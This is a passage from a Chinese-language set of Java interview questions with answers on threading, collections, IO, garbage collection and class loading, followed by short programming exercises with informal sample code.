inc(); \n\t\t   } \n\t   } \n\t} \n\tclass Dec implements Runnable{ \n\t   public void run(){ \n\t\t   for(int i=0;i<100;i++){ \n\t\t   dec(); \n\t\t   } \n\t   } \n\t} \n\t} \n\t----------随手再写的一个-------------\n\tclass A {\n\t\tJManger j =new JManager();\n\t\tmain() {\n\t\t\tnew A().call();\n\t\t}\n\t\tvoid call {\n\t\t\tfor(int i=0;i<2;i++) {\n\t\t\t\tnew Thread(\n\t\t\t\t\tnew Runnable(){ public void run(){while(true){j.accumulate()}}}\n\t\t\t\t).start();\n\t\t\t\tnew Thread(new Runnable(){ public void run(){while(true){j.sub()}}}).start();\n\t\t\t}\n\t\t}\n\t}\n\tclass JManager {\n\t\tprivate j = 0;\t\n\t\tpublic synchronized void subtract() {\n\t\t\tj--\n\t\t}\n\t\tpublic synchronized void accumulate() {\n\t\t\tj++;\n\t\t}\n\t}\n\t```\n\t\n46. 子线程循环10次，接着主线程循环100，接着又回到子线程循环10次，接着再回到主线程又循环100，如此循环50次，请写出程序。         \n\t```java\n\tpublic class ThreadTest {\n\t\t/**\n\t\t * @param args\n\t\t */\n\t\tpublic static void main(String[] args) {\n\t\t\t// TODO Auto-generated method stub\n\t\t\tnew ThreadTest().init();\n\t\t}\n\t\tpublic void init() {\n\t\t\tfinal Business business = new Business();\n\t\t\tnew Thread(\n\t\t\t\t\tnew Runnable() {\n\t\t\t\t\t\tpublic void run() {\n\t\t\t\t\t\t\tfor(int i=0;i<50;i++) {\n\t\t\t\t\t\t\t\tbusiness.SubThread(i);\n\t\t\t\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t).start();\n\t\t\tfor(int i=0;i<50;i++) {\n\t\t\t\tbusiness.MainThread(i);\n\t\t\t}\t\t\n\t\t}\n\t\tprivate class Business {\n\t\t\tboolean bShouldSub = true;//这里相当于定义了控制该谁执行的一个信号灯\n\t\t\tpublic synchronized void MainThread(int i) {\n\t\t\t\tif(bShouldSub)\n\t\t\t\t\ttry {\n\t\t\t\t\t\tthis.wait();\n\t\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\t\t\n\t\t\t\tfor(int j=0;j<5;j++) {\n\t\t\t\t\tSystem.out.println(Thread.currentThread().getName() + \":i=\" + i +\",j=\" + j);\n\t\t\t\t}\n\t\t\t\tbShouldSub = true;\n\t\t\t\tthis.notify();\n\t\t\t}\t\n\t\t\tpublic synchronized void SubThread(int i) {\n\t\t\t\tif(!bShouldSub)\n\t\t\t\t\ttry {\n\t\t\t\t\t\tthis.wait();\n\t\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\t \n\t\t\t\tfor(int j=0;j<10;j++) {\n\t\t\t\t\tSystem.out.println(Thread.currentThread().getName() + \":i=\" + i +\",j=\" + j);\n\t\t\t\t}\n\t\t\t\tbShouldSub = false;\t\t\t\t\n\t\t\t\tthis.notify();\t\t\t\n\t\t\t}\n\t\t}\n\t}\n\t备注：不可能一上来就写出上面的完整代码，最初写出来的代码如下，问题在于两个线程的代码要参照同一个变量，即这两个线程的代码要共享数据，\n\t所以，把这两个线程的执行代码搬到同一个类中去:   \n\t```java\n\tpackage com.huawei.interview.lym;\n\tpublic class ThreadTest {\n\t\tprivate static boolean bShouldMain = false;\n\t\tpublic static void main(String[] args) {\n\t\t\t// TODO Auto-generated method stub\n\t\t\t/*new Thread(){\n\t\t\tpublic void run() {\n\t\t\t\tfor(int i=0;i<50;i++) {\n\t\t\t\t\tfor(int j=0;j<10;j++) {\n\t\t\t\t\t\tSystem.out.println(\"i=\" + i + \",j=\" + j);\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t}.start();*/\t\t\n\t\t//final String str = new String(\"\");\n\t\tnew Thread(\n\t\t\t\tnew Runnable() {\n\t\t\t\t\tpublic void run() {\n\t\t\t\t\t\tfor(int i=0;i<50;i++) {\n\t\t\t\t\t\t\tsynchronized (ThreadTest.class) {\n\t\t\t\t\t\t\t\tif(bShouldMain) {\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tThreadTest.class.wait();} \n\t\t\t\t\t\t\t\t\tcatch (InterruptedException e) {\n\t\t\t\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tfor(int j=0;j<10;j++) {\n\t\t\t\t\t\t\t\t\tSystem.out.println(\n\t\t\t\t\t\t\t\t\t\t\tThread.currentThread().getName() + \n\t\t\t\t\t\t\t\t\t\t\t\"i=\" + i + \",j=\" + j);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbShouldMain = true;\n\t\t\t\t\t\t\t\tThreadTest.class.notify();\n\t\t\t\t\t\t\t}\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t).start();\n\t\t\t\n\t\tfor(int i=0;i<50;i++) {\n\t\t\tsynchronized (ThreadTest.class) {\n\t\t\t\tif(!bShouldMain) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tThreadTest.class.wait();} \n\t\t\t\t\tcatch (InterruptedException e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\t\n\t\t\t\tfor(int j=0;j<5;j++) {\n\t\t\t\t\tSystem.out.println(\n\t\t\t\t\t\t\tThread.currentThread().getName() + \t\t\t\t\t\t\n\t\t\t\t\t\t\t\"i=\" + i + \",j=\" + j);\n\t\t\t\t}\n\t\t\t\tbShouldMain = false;\n\t\t\t\tThreadTest.class.notify();\t\t\t\t\n\t\t\t}\t\t\t\n\t\t}\n\t}\n\t```\n\t下面使用jdk5中的并发库来实现的:   \n\t```java\n\timport java.util.concurrent.Executors;\n\timport java.util.concurrent.ExecutorService;\n\timport java.util.concurrent.locks.Lock;\n\timport java.util.concurrent.locks.ReentrantLock;\n\timport java.util.concurrent.locks.Condition;\n\n\tpublic class ThreadTest {\n\t\tprivate static Lock lock = new ReentrantLock();\n\t\tprivate static Condition subThreadCondition = lock.newCondition();\n\t\tprivate static boolean bBhouldSubThread = false;\n\t\tpublic static void main(String [] args) {\n\t\t\tExecutorService threadPool = Executors.newFixedThreadPool(3);\n\t\t\tthreadPool.execute(new Runnable(){\n\t\t\t\tpublic void run() {\n\t\t\t\t\tfor(int i=0;i<50;i++) {\n\t\t\t\t\t\tlock.lock();\t\t\t\t\t\n\t\t\t\t\t\ttry {\t\t\t\t\t\n\t\t\t\t\t\t\tif(!bBhouldSubThread)\n\t\t\t\t\t\t\t\tsubThreadCondition.await();\n\t\t\t\t\t\t\tfor(int j=0;j<10;j++) {\n\t\t\t\t\t\t\t\tSystem.out.println(Thread.currentThread().getName() + \",j=\" + j);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbBhouldSubThread = false;\n\t\t\t\t\t\t\tsubThreadCondition.signal();\n\t\t\t\t\t\t}catch(Exception e) {\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfinally {\n\t\t\t\t\t\t\tlock.unlock();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t});\n\t\t\tthreadPool.shutdown();\n\t\t\tfor(int i=0;i<50;i++) {\n\t\t\t\t\tlock.lock();\t\t\t\t\t\n\t\t\t\t\ttry {\t\n\t\t\t\t\t\tif(bBhouldSubThread)\n\t\t\t\t\t\t\t\tsubThreadCondition.await();\t\t\t\t\t\t\t\t\n\t\t\t\t\t\tfor(int j=0;j<10;j++) {\n\t\t\t\t\t\t\tSystem.out.println(Thread.currentThread().getName() + \",j=\" + j);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbBhouldSubThread = true;\n\t\t\t\t\t\tsubThreadCondition.signal();\t\t\t\t\t\n\t\t\t\t\t} catch(Exception e) {\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\tfinally {\n\t\t\t\t\t\tlock.unlock();\n\t\t\t\t\t}\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t}\n\t```\n\n47. ArrayList和Vector的区别             \n\t这两个类都实现了List接口（List接口继承了Collection接口），他们都是有序集合，即存储在这两个集合中的元素的位置都是有顺序的，相当于一种动态的数组，\n\t我们以后可以按位置索引号取出某个元素，，并且其中的数据是允许重复的，这是HashSet之类的集合的最大不同处，HashSet之类的集合不可以按索引号去检索其中的元素，\n\t也不允许有重复的元素（本来题目问的与hashset没有任何关系，但为了说清楚ArrayList与Vector的功能，我们使用对比方式，更有利于说明问题）。         \n\t接着才说ArrayList与Vector的区别，这主要包括两个方面：          \n\t- 同步性：\n\t\tVector是线程安全的，也就是说是它的方法之间是线程同步的，而ArrayList是线程序不安全的，它的方法之间是线程不同步的。如果只有一个线程会访问到集合，\n\t\t那最好是使用ArrayList，因为它不考虑线程安全，效率会高些；如果有多个线程会访问到集合，那最好是使用Vector，因为不需要我们自己再去考虑和编写线程安全的代码。\n\t\t备注：对于Vector&ArrayList、Hashtable&HashMap，要记住线程安全的问题，记住Vector与Hashtable是旧的，是java一诞生就提供了的，它们是线程安全的，\n\t\tArrayList与HashMap是java2时才提供的，它们是线程不安全的。所以，我们讲课时先讲老的。\n\t- 数据增长：\n\t\tArrayList与Vector都有一个初始的容量大小，当存储进它们里面的元素的个数超过了容量时，就需要增加ArrayList与Vector的存储空间，每次要增加存储空间时，\n\t\t不是只增加一个存储单元，而是增加多个存储单元，每次增加的存储单元的个数在内存空间利用与程序效率之间要取得一定的平衡。Vector默认增长为原来两倍，\n\t\t而ArrayList的增长策略在文档中没有明确规定（从源代码看到的是增长为原来的1.5倍）。ArrayList与Vector都可以设置初始的空间大小，\n\t\tVector还可以设置增长的空间大小，而ArrayList没有提供设置增长空间的方法。\n\t\t总结：即Vector增长原来的一倍，ArrayList增加原来的0.5倍。\n\t\t\n48. HashMap和Hashtable的区别           \n\tHashMap是Hashtable的轻量级实现（非线程安全的实现），他们都完成了Map接口，主要区别在于HashMap允许空（null）键值（key）,由于非线程安全，\n\t在只有一个线程访问的情况下，效率要高于Hashtable。 \n\tHashMap允许将null作为一个entry的key或者value，而Hashtable不允许。 \n\tHashMap把Hashtable的contains方法去掉了，改成containsvalue和containsKey。因为contains方法容易让人引起误解。 \n\tHashtable继承自Dictionary类，而HashMap是Java1.2引进的Map interface的一个实现。 \n\t最大的不同是，Hashtable的方法是Synchronize的，而HashMap不是，在多个线程访问Hashtable时，不需要自己为它的方法实现同步，而HashMap 就必须为之提供外同步。 \n\tHashtable和HashMap采用的hash/rehash算法都大概一样，所以性能不会有很大的差异。\n\t就HashMap与HashTable主要从三方面来说。         \n\t- 历史原因:Hashtable是基于陈旧的Dictionary类的，HashMap是Java 1.2引进的Map接口的一个实现 \n\t- 同步性:Hashtable是线程安全的，也就是说是同步的，而HashMap是线程序不安全的，不是同步的 \n\t- 值：只有HashMap可以让你将空值作为一个表的条目的key或value \n\t\n49. List 和 Map 区别?             \n\t一个是存储单列数据的集合，另一个是存储键和值这样的双列数据的集合，List中存储的数据是有顺序，并且允许重复；Map中存储的数据是没有顺序的，\n\t其键是不能重复的，它的值是可以有重复的。\n\t\n50. List, Set, Map是否继承自Collection接口?           \n\tList，Set是，Map不是 \n\t\n51. List、Map、Set三个接口，存取元素时，各有什么特点？                \n\t这样的题属于随意发挥题：这样的题比较考水平，两个方面的水平：一是要真正明白这些内容，二是要有较强的总结和表述能力。如果你明白，\n\t但表述不清楚，在别人那里则等同于不明白。\n\t首先，List与Set具有相似性，它们都是单列元素的集合，所以，它们有一个功共同的父接口，叫Collection。Set里面不允许有重复的元素，所谓重复，\n\t即不能有两个相等（注意，不是仅仅是相同）的对象 ，即假设Set集合中有了一个A对象，现在我要向Set集合再存入一个B对象，但B对象与A对象equals相等，\n\t则B对象存储不进去，所以，Set集合的add方法有一个boolean的返回值，当集合中没有某个元素，此时add方法可成功加入该元素时，则返回true，\n\t当集合含有与某个元素equals相等的元素时，此时add方法无法加入该元素，返回结果为false。Set取元素时，没法说取第几个，只能以Iterator接口取得所有的元素，\n\t再逐一遍历各个元素。List表示有先后顺序的集合， 注意，不是那种按年龄、按大小、按价格之类的排序。当我们多次调用add(Obj e)方法时，\n\t每次加入的对象就像火车站买票有排队顺序一样，按先来后到的顺序排序。有时候，也可以插队，即调用add(int index,Obj e)方法，\n\t就可以指定当前对象在集合中的存放位置。一个对象可以被反复存储进List中，每调用一次add方法，这个对象就被插入进集合中一次，\n\t其实，并不是把这个对象本身存储进了集合中，而是在集合中用一个索引变量指向这个对象，当这个对象被add多次时，即相当于集合中有多个索引指向了这个对象，\n\t如图x所示。List除了可以以Iterator接口取得所有的元素，再逐一遍历各个元素之外，还可以调用get(index i)来明确说明取第几个。\n\tMap与List和Set不同，它是双列的集合，其中有put方法，定义如下：put(obj key,obj value)，每次存储时，要存储一对key/value，不能存储重复的key，\n\t这个重复的规则也是按equals比较相等。取则可以根据key获得相应的value，即get(Object key)返回值为key 所对应的value。另外，也可以获得所有的key的结合，\n\t还可以获得所有的value的结合，还可以获得key和value组合成的Map.Entry对象的集合。\n\tList 以特定次序来持有元素，可有重复元素。Set 无法拥有重复元素,内部排序。Map 保存key-value值，value可多值。\n\tHashSet按照hashcode值的某种运算方式进行存储，而不是直接按hashCode值的大小进行存储。\n\t例如，\"abc\" ---> 78，\"def\" ---> 62，\"xyz\" ---> 65在hashSet中的存储顺序不是62,65,78，LinkedHashSet按插入的顺序存储，\n\t那被存储对象的hashcode方法还有什么作用呢？学员想想!hashset集合比较两个对象是否相等，首先看hashcode方法是否相等，然后看equals方法是否相等。\n\tnew 两个Student插入到HashSet中，看HashSet的size，实现hashcode和equals方法后再看size。\n\t同一个对象可以在Vector中加入多次。往集合里面加元素，相当于集合里用一根绳子连接到了目标对象。往HashSet中却加不了多次的。 \n\n52. 说出ArrayList,Vector, LinkedList的存储性能和特性              \n\tArrayList和Vector都是使用数组方式存储数据，此数组元素数大于实际存储的数据以便增加和插入元素，它们都允许直接按序号索引元素，\n\t但是插入元素要涉及数组元素移动等内存操作，所以索引数据快而插入数据慢，Vector由于使用了synchronized方法（线程安全），通常性能上较ArrayList差，\n\t而LinkedList使用双向链表实现存储，按序号索引数据需要进行前向或后向遍历，但是插入数据时只需要记录本项的前后项即可，所以插入速度较快。\n\tLinkedList也是线程不安全的，LinkedList提供了一些方法，使得LinkedList可以被当作堆栈和队列来使用。\n\t\n53. 去掉一个Vector集合中重复的元素             \n\t```java\n\tVector newVector = new Vector();\n\tFor (int i=0;i<vector.size();i++) {\n\t\tObject obj = vector.get(i);\n\t\tif(!newVector.contains(obj)) {\n\t\t\tnewVector.add(obj);\n\t\t}\t\n\t}\n\t```\n\t还有一种简单的方式，`HashSet set = new HashSet(vector);`\n\t\n54. Collection 和 Collections的区别。              \n\tCollection是集合类的上级接口，继承与他的接口主要有Set 和List.    \n\tCollections是针对集合类的一个帮助类，他提供一系列静态方法实现对各种集合的搜索、排序、线程安全化等操作。 \n\t\n55. Set里的元素是不能重复的，那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别?             \n\tSet里的元素是不能重复的，元素重复与否是使用equals()方法进行判断的。 \n\tequals()和==方法决定引用值是否指向同一对象equals()在类中被覆盖，为的是当两个分离的对象的内容和类型相配的话，返回真值。\n\n56. 两个对象值相同(x.equals(y) == true)，但却可有不同的hash code，这句话对不对?            \n\t对。\n\t如果对象要保存在HashSet或HashMap中，它们的equals相等，那么，它们的hashcode值就必须相等。\n\t如果不是要保存在HashSet或HashMap，则与hashcode没有什么关系了，这时候hashcode不等是可以的，例如arrayList存储的对象就不用实现hashcode，当然，\n\t我们没有理由不实现，通常都会去实现的。\n\t\n57. 字节流与字符流的区别                \n\t要把一片二进制数据数据逐一输出到某个设备中，或者从某个设备中逐一读取一片二进制数据，不管输入输出设备是什么，我们要用统一的方式来完成这些操作，\n\t用一种抽象的方式进行描述，这个抽象描述方式起名为IO流，对应的抽象类为OutputStream和InputStream ，不同的实现类就代表不同的输入和输出设备，\n\t它们都是针对字节进行操作的。在应用中，经常要完全是字符的一段文本输出去或读进来，用字节流可以吗？计算机中的一切最终都是二进制的字节形式存在。\n\t对于“中国”这些字符，首先要得到其对应的字节，然后将字节写入到输出流。读取时，首先读到的是字节，可是我们要把它显示为字符，我们需要将字节转换成字符。\n\t由于这样的需求很广泛，人家专门提供了字符流的包装类。底层设备永远只接受字节数据，有时候要写字符串到底层设备，需要将字符串转成字节再进行写入。\n\t字符流是字节流的包装，字符流则是直接接受字符串，它内部将串转成字节，再写入底层设备，这为我们向IO设别写入或读取字符串提供了一点点方便。\n\t字符向字节转换时，要注意编码的问题，因为字符串转成字节数组，\n\t其实是转成该字符的某种编码的字节形式，读取也是反之的道理。\n\n58. 垃圾回收器的基本原理是什么？垃圾回收器可以马上回收内存吗？有什么办法主动通知虚拟机进行垃圾回收？              \n\t对于GC来说，当程序员创建对象时，GC就开始监控这个对象的地址、大小以及使用情况。通常，GC采用有向图的方式记录和管理堆(heap)中的所有对象。\n\t通过这种方式确定哪些对象是\"可达的\"，哪些对象是\"不可达的\"。当GC确定一些对象为\"不可达\"时，GC就有责任回收这些内存空间。可以。\n\t程序员可以手动执行System.gc()，通知GC运行，但是Java语言规范并不保证GC一定会执行。 \n \n59. 什么时候用assert。              \n\tassertion(断言)在软件开发中是一种常用的调试方式，很多开发语言中都支持这种机制。在实现中，assertion就是在程序中的一条语句，\n\t它对一个boolean表达式进行检查，一个正确程序必须保证这个boolean表达式的值为true；如果该值为false，说明程序已经处于不正确的状态下，\n\tassert将给出警告或退出。一般来说，assertion用于保证程序最基本、关键的正确性。assertion检查通常在开发和测试时开启。为了提高性能，\n\t在软件发布后，assertion检查通常是关闭的。 \n\t```java\n\tpackage com.huawei.interview;\n\tpublic class AssertTest {\n\t\t/**\n\t\t * @param args\n\t\t */\n\t\tpublic static void main(String[] args) {\n\t\t\t// TODO Auto-generated method stub\n\t\t\tint i = 0;\n\t\t\tfor(i=0;i<5;i++)\n\t\t\t{\n\t\t\t\tSystem.out.println(i);\n\t\t\t}\n\t\t\t//假设程序不小心多了一句--i;\n\t\t\t--i;\n\t\t\tassert i==5;\t\t\n\t\t}\n\t}\n\t```\n\n60. 能不能自己写个类，也叫java.lang.String？                  \n\t可以，但在应用的时候，需要用自己的类加载器去加载，否则，系统的类加载器永远只是去加载jre.jar包中的那个java.lang.String。\n\t由于在tomcat的web应用程序中，都是由webapp自己的类加载器先自己加载WEB-INF/classess目录中的类，然后才委托上级的类加载器加载，\n\t如果我们在tomcat的web应用程序中写一个java.lang.String，这时候Servlet程序加载的就是我们自己写的java.lang.String，但是这么干就会出很多潜在的问题，\n\t原来所有用了java.lang.String类的都将出现问题。\n\t虽然java提供了endorsed技术，可以覆盖jdk中的某些类，具体做法是….。但是，能够被覆盖的类是有限制范围，反正不包括java.lang这样的包中的类。\n\t（下面的例如主要是便于大家学习理解只用，不要作为答案的一部分，否则，人家怀疑是题目泄露了）例如，运行下面的程序：\n    ```java\n\tpackage java.lang;\n\tpublic class String {\n\t\t/**\n\t\t * @param args\n\t\t */\n\t\tpublic static void main(String[] args) {\n\t\t\t// TODO Auto-generated method stub\n\t\t\tSystem.out.println(\"string\");\n\t\t}\n\t}\n    ```\n\t报告的错误如下：\n\tjava.lang.NoSuchMethodError: main\n\tException in thread \"main\"\n\t这是因为加载了jre自带的java.lang.String，而该类中没有main方法。\n\t\n算法与编程\n---\n\n1. 判断身份证：要么是15位，要么是18位，最后一位可以为字母，并写程序提出其中的年月日。                \n\t答：我们可以用正则表达式来定义复杂的字符串格式，(\\d{17}[0-9a-zA-Z]|\\d{14}[0-9a-zA-Z])可以用来判断是否为合法的15位或18位身份证号码。\n\t因为15位和18位的身份证号码都是从7位到第12位为身份证为日期类型。这样我们可以设计出更精确的正则模式，使身份证号的日期合法，\n\t这样我们的正则模式可以进一步将日期部分的正则修改为[12][0-9]{3}[01][0-9][123][0-9]，当然可以更精确的设置日期。\n\t在jdk的java.util.Regex包中有实现正则的类,Pattern和Matcher。以下是实现代码：\n\t```java\n\timport java.util.regex.Matcher;\n\timport java.util.regex.Pattern;\n\tpublic class RegexTest {\n\t\t/**\n\t\t * @param args\n\t\t */\n\t\tpublic static void main(String[] args) {\n\t\t\t// 测试是否为合法的身份证号码\n\t\t\tString[] strs = { \"130681198712092019\", \"13068119871209201x\",\n\t\t\t\t\t\"13068119871209201\", \"123456789012345\", \"12345678901234x\",\n\t\t\t\t\t\"1234567890123\" };\n\t\t\tPattern p1 = Pattern.compile(\"(\\\\d{17}[0-9a-zA-Z]|\\\\d{14}[0-9a-zA-Z])\");\n\t\t\tfor (int i = 0; i < strs.length; i++) {\n\t\t\t\tMatcher matcher = p1.matcher(strs[i]);\n\t\t\t\tSystem.out.println(strs[i] + \":\" + matcher.matches());\n\t\t\t}\n\t\t\tPattern p2 = Pattern.compile(\"\\\\d{6}(\\\\d{8}).*\"); // 用于提取出生日字符串\n\t\t\tPattern p3 = Pattern.compile(\"(\\\\d{4})(\\\\d{2})(\\\\d{2})\");// 用于将生日字符串进行分解为年月日\n\t\t\tfor (int i = 0; i < strs.length; i++) {\n\t\t\t\tMatcher matcher = p2.matcher(strs[i]);\n\t\t\t\tboolean b = matcher.find();\n\t\t\t\tif (b) {\n\t\t\t\t\tString s = matcher.group(1);\n\t\t\t\t\tMatcher matcher2 = p3.matcher(s);\n\t\t\t\t\tif (matcher2.find()) {\n\t\t\t\t\t\tSystem.out\n\t\t\t\t\t\t\t\t.println(\"生日为\" + matcher2.group(1) + \"年\"\n\t\t\t\t\t\t\t\t\t\t+ matcher2.group(2) + \"月\"\n\t\t\t\t\t\t\t\t\t\t+ matcher2.group(3) + \"日\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t```\n\t\n2. 编写一个程序，将a.txt文件中的单词与b.txt文件中的单词交替合并到c.txt文件中，a.txt文件中的单词用回车符分隔，b.txt文件中用回车或空格进行分隔。             \n\t```java\n\tpackage cn.itcast;\n\timport java.io.File;\n\timport java.io.FileReader;\n\timport java.io.FileWriter;\n\tpublic class MainClass{\n    \tpublic static void main(String[] args) throws Exception{\n    \t\tFileManager a = new FileManager(\"a.txt\",new char[]{'\\n'});\n    \t\tFileManager b = new FileManager(\"b.txt\",new char[]{'\\n',' '});\t\t\n    \t\tFileWriter c = new FileWriter(\"c.txt\");\n    \t\tString aWord = null;\n    \t\tString bWord = null;\n    \t\twhile((aWord = a.nextWord()) !=null ){\n    \t\t\tc.write(aWord + \"\\n\");\n    \t\t\tbWord = b.nextWord();\n    \t\t\tif(bWord != null)\n    \t\t\t\tc.write(bWord + \"\\n\");\n    \t\t}\n    \t\twhile((bWord = b.nextWord()) != null){\n    \t\t\tc.write(bWord + \"\\n\");\n    \t\t}\t\n    \t\tc.close();\n    \t}\n\t}\n\tclass FileManager{\n    \tString[] words = null;\n    \tint pos = 0;\n    \tpublic FileManager(String filename,char[] seperators) throws Exception{\n    \t\tFile f = new File(filename);\n    \t\tFileReader reader = new FileReader(f);\n    \t\tchar[] buf = new char[(int)f.length()];\n    \t\tint len = reader.read(buf);\n    \t\tString results = new String(buf,0,len);\n    \t\tString regex = null;\n    \t\tif(seperators.length >1 ){\n    \t\t\tregex = \"\" + seperators[0] + \"|\" + seperators[1];\n    \t\t}else{\n    \t\t\tregex = \"\" + seperators[0];\n    \t\t}\n    \t\twords = results.split(regex);\n    \t}\n    \tpublic String nextWord(){\n    \t\tif(pos == words.length)\n    \t\t\treturn null;\n    \t\treturn words[pos++];\n    \t}\n\t}\n\t```\n\t\n3. 编写一个程序，将d:\\java目录下的所有.java文件复制到d:\\jad目录下，并将原来文件的扩展名从.java改为.jad。               \n\tlistFiles方法接受一个FileFilter对象，这个FileFilter对象就是过虑的策略对象，不同的人提供不同的FileFilter实现，即提供了不同的过滤策略。\n\t```java\n\timport java.io.File;\n\timport java.io.FileInputStream;\n\timport java.io.FileOutputStream;\n\timport java.io.FilenameFilter;\n\timport java.io.IOException;\n\timport java.io.InputStream;\n\timport java.io.OutputStream;\n\tpublic class Jad2Java {\n\tpublic static void main(String[] args) throws Exception {\n\t\tFile srcDir = new File(\"java\");\n\t\tif(!(srcDir.exists() && srcDir.isDirectory()))\n\t\t\t\tthrow new Exception(\"目录不存在\");\n\t\tFile[] files = srcDir.listFiles(\n\t\t\tnew FilenameFilter(){\n\t\t\t\t\tpublic boolean accept(File dir, String name) {\n\t\t\t\t\t\treturn name.endsWith(\".java\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t);\n\t\tSystem.out.println(files.length);\n\t\tFile destDir = new File(\"jad\");\n\t\tif(!destDir.exists()) destDir.mkdir();\n\t\tfor(File f :files){\n\t\t\tFileInputStream  fis = new FileInputStream(f);\n\t\t\tString destFileName = f.getName().replaceAll(\"\\\\.java$\", \".jad\");\n\t\t\tFileOutputStream fos = new FileOutputStream(new File(destDir,destFileName));\n\t\t\tcopy(fis,fos);\n\t\t\tfis.close();\n\t\t\tfos.close();\n\t\t}\n\t}\n\tprivate static void copy(InputStream ips,OutputStream ops) throws Exception{\n\t\tint len = 0;\n\t\tbyte[] buf = new byte[1024];\n\t\twhile((len = ips.read(buf)) != -1){\n\t\t\tops.write(buf,0,len);\n\t\t}\n\t}\n\t```\n\t由本题总结的思想及策略模式的解析：        \n\t1.    \n\t```java\n\tclass jad2java{\n\t\t1. 得到某个目录下的所有的java文件集合\n\t\t\t1.1 得到目录 File srcDir = new File(\"d:\\\\java\");\n\t\t\t1.2 得到目录下的所有java文件：File[] files = srcDir.listFiles(new MyFileFilter());\n\t\t\t1.3 只想得到.java的文件： class MyFileFilter implememyts FileFilter{\n\t\t\t\tpublic boolean accept(File pathname){\n\t\t\t\t\treturn pathname.getName().endsWith(\".java\")\n\t\t\t\t}\n\t\t\t}\n\t\t2.将每个文件复制到另外一个目录，并改扩展名\n\t\t\t2.1 得到目标目录，如果目标目录不存在，则创建之\n\t\t\t2.2 根据源文件名得到目标文件名，注意要用正则表达式，注意.的转义。\n\t\t\t2.3 根据表示目录的File和目标文件名的字符串，得到表示目标文件的File。\n\t\t\t\t//要在硬盘中准确地创建出一个文件，需要知道文件名和文件的目录。 \n\t\t\t2.4 将源文件的流拷贝成目标文件流，拷贝方法独立成为一个方法，方法的参数采用抽象流的形式。\n\t\t\t\t//方法接受的参数类型尽量面向父类，越抽象越好，这样适应面更宽广。\t\n\t}\n\t```\n\t分析listFiles方法内部的策略模式实现原理\n\t```java\n\tFile[] listFiles(FileFilter filter){\n\t\tFile[] files = listFiles();\n\t\t//Arraylist acceptedFilesList = new ArrayList();\n\t\tFile[] acceptedFiles = new File[files.length];\n\t\tint pos = 0;\n\t\tfor(File file: files){\n\t\t\tboolean accepted = filter.accept(file);\n\t\t\tif(accepted){\n\t\t\t\t//acceptedFilesList.add(file);\n\t\t\t\tacceptedFiles[pos++] = file;\n\t\t\t}\t\t\n\t\t}\n\t\tArrays.copyOf(acceptedFiles,pos);\n\t\t//return (File[])accpetedFilesList.toArray();\n\t}\n\t```\n\t\n4. 编写一个截取字符串的函数，输入为一个字符串和字节数，输出为按字节截取的字符串，但要保证汉字不被截取半个，如“我ABC”，4，应该截取“我AB”，             \n\t输入“我ABC汉DEF”，6，应该输出“我ABC”，而不是“我ABC+汉的半个”。\n\t```java\n\t首先要了解中文字符有多种编码及各种编码的特征。\n    假设n为要截取的字节数。\n\tpublic static void main(String[] args) throws Exception{\n\t\tString str = \"我a爱中华abc我爱传智def';\n\t\tString str = \"我ABC汉\";\n\t\tint num = trimGBK(str.getBytes(\"GBK\"),5);\n\t\tSystem.out.println(str.substring(0,num) );\n\t}\n\tpublic static int  trimGBK(byte[] buf,int n){\n\t\tint num = 0;\n\t\tboolean bChineseFirstHalf = false;\n\t\tfor(int i=0;i<n;i++) {\n\t\t\tif(buf[i]<0 && !bChineseFirstHalf){\n\t\t\t\tbChineseFirstHalf = true;\n\t\t\t}else{\n\t\t\t\tnum++;\n\t\t\t\tbChineseFirstHalf = false;\t\t\t\t\n\t\t\t}\n\t\t}\n\t\treturn num;\n\t}\n\t```\n\t\n5. 有一个字符串，其中包含中文字符、英文字符和数字字符，请统计和打印出各个字符的个数。                    \n\t```java\n\t哈哈，其实包含中文字符、英文字符、数字字符原来是出题者放的烟雾弹。\n\tString content = “中国aadf的111萨bbb菲的zz萨菲”;\n\tHashMap map = new HashMap();\n\tfor(int i=0;i<content.length;i++) {\n\t\tchar c = content.charAt(i);\n\t\tInteger num = map.get(c);\n\t\tif(num == null)\n\t\t\tnum = 1;\n\t\telse\n\t\t\tnum = num + 1;\n\t\tmap.put(c,num);\n\t} \n\tfor(Map.EntrySet entry : map) {\n\t\tsystem.out.println(entry.getkey() + “:” + entry.getValue());\n\t}\n\t估计是当初面试的那个学员表述不清楚，问题很可能是：\n\t如果一串字符如\"aaaabbc中国1512\"要分别统计英文字符的数量，中文字符的数量，和数字字符的数量，假设字符中没有中文字符、英文字符、数字字符之外的其他特殊字符。\n\tint engishCount;\n\tint chineseCount;\n\tint digitCount;\n\tfor(int i=0;i<str.length;i++) {\n\t\tchar ch = str.charAt(i);\n\t\tif(ch>=’0’ && ch<=’9’) {\n\t\t\tdigitCount++\n\t\t} else if((ch>=’a’ && ch<=’z’) || (ch>=’A’ && ch<=’Z’)) 